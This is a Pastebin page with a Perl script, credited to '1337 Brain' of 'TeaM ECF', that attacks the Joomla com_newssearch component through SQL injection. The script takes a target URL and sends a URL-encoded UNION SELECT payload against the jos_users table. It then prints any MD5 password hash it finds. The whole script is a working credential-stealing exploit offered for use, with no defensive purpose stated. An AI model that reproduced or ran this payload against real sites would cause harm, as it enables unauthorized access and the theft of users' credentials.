Advertisement
1337_Brain

Joomla Component com_newssearch SQL Injection

Jul 5th, 2014
410
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 1.31 KB | None | 0 0
  1. use LWP::Simple;
  2. use LWP::UserAgent;
  3. # from TeaM ECF
  4. system("cls");
  5. system("color a");
  6. print "*********************************************\n";
  7. print "* Joomla com_newssearch  SQL Injection      *\n";
  8. print "*      Coded by 1337 Brain               *\n";
  9. print "*      From TeaM ECF                      *\n";
  10. print "*********************************************\n";
  11. sleep 1;
  12. print 'Enter Target (with http://) :';
  13. my $target = <STDIN>;
  14. chomp $target;
  15. my $sql_path1 = "/index.php?option=com_newssearch&type=list&section=1&cid=%25%27%20and%201=2%29%20union%20select%201,%20concat%280x3a,username,0x3a,email,0x3a,0x3a,activation%29,concat%280x3a,username,0x3a,email,0x3a,password,0x3a,activation%29,%27Super%20Administrator%27,%27email%27,%272009-11-26%2022:09:28%27,%272009-11-26%2022:09:28%27,62,1,1,0,0,0,1,15%20from%20jos_users--%20";
  16. $user_agent = LWP::UserAgent->new() or die "Error";
  17. $user_agent->agent('Mozilla/5.0 (Windows NT 6.1; WOW64; rv:7.0.1) Gecko/20100101 Firefox/7.0.12011');
  18. my $fuck = $target.$sql_path1;
  19. $good = $user_agent->request(HTTP::Request->new(GET=>$fuck));
  20. die "Can not get $fuck" unless defined $fuck;
  21. $zebi = $good->content; if ($zebi =~/([0-9a-fA-F]{32})/) {
  22.         print "[+] $target is Vuln \n [+]Password Found ==> $1\n$2\n ";
  23. }
  24. else {
  25.         print "\n [-] $target is not vuln \n";
  26. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement